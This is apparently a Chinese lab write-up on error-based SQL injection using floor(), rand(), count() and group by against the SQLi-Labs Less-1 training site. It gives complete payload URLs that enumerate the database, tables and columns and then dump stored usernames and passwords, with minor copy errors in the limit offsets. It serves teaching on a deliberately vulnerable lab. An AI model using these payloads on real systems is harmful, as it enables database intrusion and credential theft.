sql|SQL注入——基于报错的注入（2） database|数据库

实验目的
熟悉报错功能函数floor()的用法，掌握基于报错的SQL注入基本流程。
实验原理
(1）关于报错注入
基于报错的注入，是指通过构造特定的SQL语句，让攻击者想要查询的信息（如数据库名、版本号、用户名等）通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件:(1) Web应用程序未关闭数据库报错函数，对于一些SQL语句的错误直接回显在页面上; (2)后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。
(2)关于floor()函数
在进行报错注入时，floor()函数一般需要与rand()、count()、group by联用。作用:
floor(x):对参数x向下取整;
rand():生成一个0~1之间的随机浮点数;
count(*):统计某个表下总共有多少条记录;
group by x:按照(by)一定的规则(x）进行分组;
报错原理: floor()函数与group by、rand()联用时，如果临时表中没有该主键，则在插入前会再计算一次rand()，然后再由group by将计算出来的主键直接插入到临时表格中，导致主键重复报错，错误信息如: Duplicate entry '.' for key'group_key' 。
实验步骤
本实验的目标是:以SQLi-Labs网站的Less-1为入口,借助floor()函数与rand().count()、group by的联用，利用基于报错的注入方式获取SQLi-Labs 网站的登录用户名和密码。
1.．访问SQLi-Labs 网站
注：因为我把sqli-labs文件名字改为了sql，所以以下sqli-labs均以sql表示
在攻击机Pentest-Atk打开FireFox浏览器，并访问靶机A-SQL上的SQL网站Less-1。访问的URL为:
http://[靶机IP]/sql/Less-1/
(注意大小写)

文章图片

注：该实验中Firefox浏览器已经提前安装好HackBar插件，在上图的界面中右击鼠标，点击检查即可进入控制台，随后点击HackBar即可使用该插件 (部分机型按F12即可进入控制台)
在输入框里输好payload之后点击Execute执行

文章图片

2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型:
http://[靶机IP]/sql/Less-1/?id=1'
运行报错

文章图片

http://[靶机IP]/sql/Less-1/?id=1' and '1'='1
运行正常

文章图片

http://[靶机IP]/sql/Less-1/?id=1' and '1'='2
运行异常

文章图片

3.获取网站当前所在数据库的库名
使用以下payload获取网站所在数据库的名字
http://[靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) ,concat(database( ),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
结果为：security

文章图片

4.获取数据库security的全部表名
使用以下payload获取数据库security的全部表名:
http://[靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
显示security 库中的第1张表的名字为emails。

文章图片

http://[靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
显示security 库中的第2张表的名字为referers

文章图片

http://[靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
显示security 库中的第3张表的名字为uagents

文章图片

http://[靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select table_name from information_schema.tables where table_schema= 'security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
显示security 库中的第4张表的名字为users

文章图片

以上显示结果中，第4张表users当中可能存放着网站用户的基本信息。

5．获取users表的全部字段名
使用以下 payload 获取 users表的字段名:
http:/ / [靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) ,concat((select column_name from information_schema.columns where table_schema= 'security' and table_name= 'users' limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a) --+
显示users表中的第1个字段名字为id。

文章图片

http:/ / [靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) ,concat((select column_name from information_schema.columns where table_schema= 'security' and table_name= 'users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x)a) --+
显示users表中的第1个字段名字为username。
文章图片
http:/ / [靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) ,concat((select column_name from information_schema.columns where table_schema= 'security' and table_name= 'users' limit 2,1),floor(rand(0)*2)) x from information_schema.tables group by x)a) --+
显示users表中的第1个字段名字为password。

文章图片

6.获取users表id、 username和 password字段的全部值。
由于users表中存放着多组用户名和密码的数据，而每次只能显示一组数据，我们可以通过limit M,N的方式逐条显示，如
(1）显示第1组数据
http:/ / [靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select concat_ws( ',' ,id,username,password ) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

文章图片

(2）显示第2组数据
http:/ / [靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select concat_ws( ',' ,id,username,password ) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

文章图片

(3）显示第3组数据
http:/ / [靶机IP]/sql/Less-1/?id=-1' and (select 1 from (select count(*) , concat((select concat_ws( ',' ,id,username,password ) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

文章图片

以此类推，可通过修改limit后面的参数，将users表中存放的所有用户信息全部暴露出来。
实验至此结束。
实验总结
本次实验，成功实现了对存在字符型GET注入点的网站的手工SQL注入，熟悉
了floor()、rand()、count()、group by的用法，掌握了基于报错的注入方法和流程。

【sql|SQL注入——基于报错的注入（2）】

sql|SQL注入——基于报错的注入（2）

推荐阅读

洛阳牡丹怎么养，洛阳牡丹花如何养

虎头茉莉怎么施肥虎头茉莉怎么养

战歌竞技场亡灵战阵容怎么组战歌竞技场亡灵战阵容分享

小学毕业寄语50句话小学毕业寄语50句

脂肪型肥胖的危害有哪些引起肥胖的三类脂肪

光火神殿为什么在秩序之战闭门不出？

我最近经常吃辣条，会口臭，是辣条造成的吗？

胡忠信名字打分102分

翠玉是玉还是翡翠翠玉属于翡翠吗

精油皂和洗面奶哪个洗脸好

吃菠萝蜜会发胖吗

gmc是什么车gmc是哪个公司的车

淘宝不认tm商标淘宝如何申请商标入驻，入驻淘宝品牌库显示近似商标

空调外机没有水滴下来怎么回事美的空调制冷室外机不滴水怎么回事

抖音极速版怎么合拍不了抖音极速版怎么合拍

信息流推荐系统智能交付解决方案探索

佳能废墨垫清零教程视频下载安装

到山西做客，主家很少用青花汾招待，这4款好酒才是宴请的首选

欧洲的牧场和食品库之称的国家是

520和521代表什么意思 520和521区别是什么